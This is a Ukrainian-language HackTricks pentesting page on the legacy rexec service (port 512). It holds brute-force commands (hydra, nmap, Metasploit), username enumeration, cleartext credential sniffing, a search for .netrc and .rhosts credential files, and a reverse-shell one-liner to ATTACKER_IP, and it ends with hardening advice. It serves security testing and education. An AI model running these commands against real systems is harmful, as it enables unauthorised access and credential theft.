512 - Pentesting Rexec

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Rexec (remote exec) — одна з оригінальних служб Berkeley r-services (разом із rlogin, rsh, …). Він забезпечує remote command-execution, автентифікація в якому здійснюється лише за допомогою clear-text username and password. Протокол було визначено на початку 1980-х (див. RFC 1060) і сьогодні вважається вразливим за своєю конструкцією. Незважаючи на це, він усе ще ввімкнений за замовчуванням на деякому застарілому UNIX / мережевому обладнанні та інколи трапляється під час internal pentests.

Порт за замовчуванням: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Увесь трафік – включно з credentials – передається незашифрованим. Кожен, хто має можливість sniff the network, може відновити username, password і command.

Швидкий огляд протоколу

  1. Клієнт підключається до TCP 512.
  2. Клієнт надсилає три NUL-terminated рядки:
  • номер порту (як ASCII), куди він бажає отримувати stdout/stderr (часто 0),
  • username,
  • password.
  1. Надсилається фінальний NUL-terminated рядок з command для виконання.
  2. Сервер відповідає одним 8-бітним байтом статусу (0 = успіх, 1 = помилка), після чого йде вивід command.

Якщо перше поле є non-zero, сервер відкриває second TCP connection back to the client і використовує її для stderr. Це корисно як для manual testing, так і для fingerprinting filtering / firewall issues навколо сервісу.

Це означає, що ви можете відтворити обмін, використовуючи лише echo -e і nc:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Якщо облікові дані дійсні, ви отримаєте вивід id безпосередньо на тому ж з’єднанні.

Якщо ви хочете отримувати stderr на окремий listener, попросіть сервер підключитися назад до вас:

nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512

Багато поширених реалізацій (наприклад GNU rexecd) все ще вимагають 16-byte username/password fields і повертають різні діагностичні рядки для недійсних username та недійсних password. Це має значення під час enumeration, тому що деякі цілі leak, чи існує обліковий запис перед тим, як ви почнете brute forcing.

Ручне використання клієнта

Багато дистрибутивів Linux досі постачають застарілий клієнт у пакеті inetutils-rexec / rsh-client:

rexec -l user -p password <target> "uname -a"

Якщо -p опущено, client запитає password інтерактивно (visible on the wire in clear-text!).

Щоб уникнути залишення password у shell history / process list, GNU rexec також підтримує зчитування його зі stdin:

printf '%s\n' 'password' | rexec -l user -p - <target> "id"

Це не безпечніше в мережі; воно лише зменшує локальну видимість на атакуючому хості.


Перерахування & Brute-forcing

Brute-force

Nmap

nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

NSE rexec-brute використовує протокол, описаний вище, щоб дуже швидко перевіряти credentials.

Hydra / Medusa / Ncrack

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra має спеціальний модуль rexec і залишається найшвидшим offline bruteforcer’ом. medusa (-M REXEC) та ncrack (rexec module) можна використовувати так само.

Перерахування імен користувачів через повідомлення сервера

Деякі реалізації rexecd повертають різні помилки, наприклад Login incorrect. та Password incorrect.. Якщо ви бачите таку поведінку, спочатку перевіряйте імена користувачів, а лише потім перебирайте паролі:

printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2

Якщо повідомлення відрізняються, сформуйте valid-user list перед виконанням великого password spray.

Перевірте сусідні r-services

rexec сам використовує автентифікацію за паролем, на відміну від логіки trusted-host у rsh / rlogin, але на практиці вони часто походять з того самого застарілого пакета (openbsd-inetd, inetutils, збірки UNIX від постачальника). Якщо TCP 512 відкритий, негайно перевірте також TCP 513 і 514, тому що зловживання .rhosts / /etc/hosts.equiv може забезпечити простіший lateral movement:

nmap -sV -p 512,513,514 <target>

Див. також:

514 - Pentesting Rsh

513 - Pentesting Rlogin

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Модуль запустить shell при успіху і збереже credentials у database .


Sniffing credentials

Оскільки все у clear-text, network captures are priceless. Маючи копію трафіку, ви можете витягти creds, не торкаючись target:

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark enable Decode As …​ TCP 512 → REXEC to view nicely-parsed fields.)


Post-Exploitation tips

  • Команди виконуються з привілеями вказаного користувача. Якщо /etc/pam.d/rexec неправильно налаштований (наприклад, pam_rootok), іноді можливо отримати root shell.
  • Rexec ігнорує shell користувача і виконує команду через /bin/sh -c <cmd>. Тому можна використовувати типові shell-escape трюки (;, $( ), backticks) щоб ланцюжити кілька команд або створювати reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Паролі часто зберігаються в ~/.netrc або в застарілих automation скриптах на інших системах; якщо ви скомпрометуєте один хост, їх можна повторно використати для lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null

Hardening / Detection

  • Do not expose rexec; replace it with SSH. Практично всі сучасні inetd superservers коментують цей сервіс за замовчуванням.
  • Якщо його потрібно зберегти, обмежте доступ за допомогою TCP wrappers (/etc/hosts.allow) або правил фаєрвола та вимагайте сильних паролів для кожного акаунту.
  • Моніторьте трафік до :512 та запуски процесу rexecd. Одного перехоплення пакетів достатньо, щоб виявити компрометацію.
  • Вимкніть rexec, rlogin, rsh разом – вони переважно використовують один і той же код і мають спільні вразливості.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks